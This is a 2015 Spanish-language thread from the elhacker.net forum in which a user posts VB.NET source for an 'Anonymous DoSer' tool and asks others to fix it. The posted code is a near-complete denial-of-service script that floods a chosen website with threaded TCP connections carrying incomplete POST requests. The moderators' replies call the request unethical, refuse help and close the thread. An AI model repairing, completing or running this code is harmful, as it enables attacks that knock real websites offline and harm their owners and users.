elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  A ver si alguien puede arreglar este código.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: A ver si alguien puede arreglar este código.  (Leído 1,304 veces)
iDDoS

Desconectado Desconectado

Mensajes: 3


Ver Perfil
A ver si alguien puede arreglar este código.
« en: 12 Mayo 2015, 00:22 am »

Código
  1. Private Shared Sub Main(ByVal args As String())
  2.    Console.ForegroundColor = ConsoleColor.Yellow
  3.    Console.WriteLine(ChrW(10) & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
  4.    Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
  5.    Console.ForegroundColor = ConsoleColor.Magenta
  6.    Console.Write("Website [URL/IP] : ")
  7.    Dim website As String = Console.ReadLine
  8.    Console.Write("Time [SECONDS] : ")
  9.    Dim s As String = Console.ReadLine
  10.    Console.Write(ChrW(10))
  11.    Dim count As Integer = 1
  12.    Dim loop As Boolean = True
  13.    New Thread(Function
  14.        Dim start As ThreadStart = Nothing
  15.        Dim clients As New List(Of TcpClient)()
  16.        Do While [loop]
  17.            If (start Is Nothing) Then
  18.                start = Function
  19.                    Dim item As New TcpClient()
  20.                    clients.Add(item)
  21.                    Try
  22.                        item.Connect(website, 80)
  23.                        Dim writer As New StreamWriter(item.GetStream)
  24.                        writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
  25.                        writer.Flush
  26.                        If [loop] Then
  27.                            Console.ForegroundColor = ConsoleColor.Green
  28.                        End If
  29.                        Console.WriteLine(("Server Is Up / Packets sent: " & count))
  30.                        count += 1
  31.                    Catch exception1 As Exception
  32.                        If [loop] Then
  33.                            Console.ForegroundColor = ConsoleColor.Red
  34.                        End If
  35.                        Console.WriteLine("DoS Succeeded, Server Down!")
  36.                    End Try
  37.                End Function
  38.            End If
  39.            New Thread(start).Start
  40.            Thread.Sleep(50)
  41.        Loop
  42.        Dim client As TcpClient
  43.        For Each client In clients
  44.            Try
  45.                client.GetStream.Dispose
  46.            Catch exception1 As Exception
  47.            End Try
  48.        Next
  49.    End Function).Start
  50.    Thread.Sleep(CInt((Integer.Parse(s) * &H3E8)))
  51.    [loop] = False
  52.    Console.WriteLine(ChrW(10) & "DoS Completed")
  53.    Console.WriteLine("Press any key to Close...")
  54.    Console.ReadKey
  55. End Sub
  56.  
  57.  
  58.  
  59.  
  60.  
  61. PD: Imports System.Threading
  62.      Imports System.Net.Sockets
  63.      Imports System.IO

Mod: los códigos deben ir en etiquetas GeSHi


« Última modificación: 12 Mayo 2015, 00:33 am por engel lex » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: A ver si alguien puede arreglar este código.
« Respuesta #1 en: 12 Mayo 2015, 00:34 am »

te bajas un código para DOs de internet y a demás quieres que te lo arreglen?

no se hacen tareas ni trabajos... se resuelven dudas...

este tema a demás lo asumo no etico

Tema Cerrado


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: A ver si alguien puede arreglar este código.
« Respuesta #2 en: 12 Mayo 2015, 02:29 am »

Además, las preguntas consideradas de mala calidad (sin ni siquiera un maldito párrafo donde expliques el problema que tengas) suelen ser ignoradas por la mayoría de usuarios, pon de tu parte, esfuérzate un poco, y entonces quizás los demás hagamos lo mismo por tí.

Este es un foro de calidad, un lugar de información, donde hay que seguir unas normas de comportamiento y de publicación.

Si quieres tener una segunda oportunidad, te sugiero que hagas caso de lo que te ha comentado el compañero @Engel Lex, y además apliques los consejos que puedes leer aquí:


Saludos!
« Última modificación: 12 Mayo 2015, 02:34 am por Eleкtro » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
alguien puede ayudarmecon este codigo
Programación Visual Basic
pedraosone 7 1,576 Último mensaje 5 Octubre 2007, 01:57 am
por Spider-Net
Por favor alguien me puede ayudar con este codigo
Java
MrC4RL4NG4S 6 5,957 Último mensaje 20 Mayo 2013, 02:14 am
por lemsangel
Alguien me puede probar este codigo.
Programación Visual Basic
LeandroA 3 1,435 Último mensaje 29 Agosto 2010, 04:46 am
por LeandroA
alguien me puede ayudar con este codigo porfavor.
Programación C/C++
MrC4RL4NG4S 7 5,001 Último mensaje 4 Octubre 2010, 11:35 am
por cbug
[?] Alguien que pueda optimizar y arreglar este codigo
Programación C/C++
MeCraniDOS 2 2,083 Último mensaje 3 Agosto 2013, 04:37 am
por MeCraniDOS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines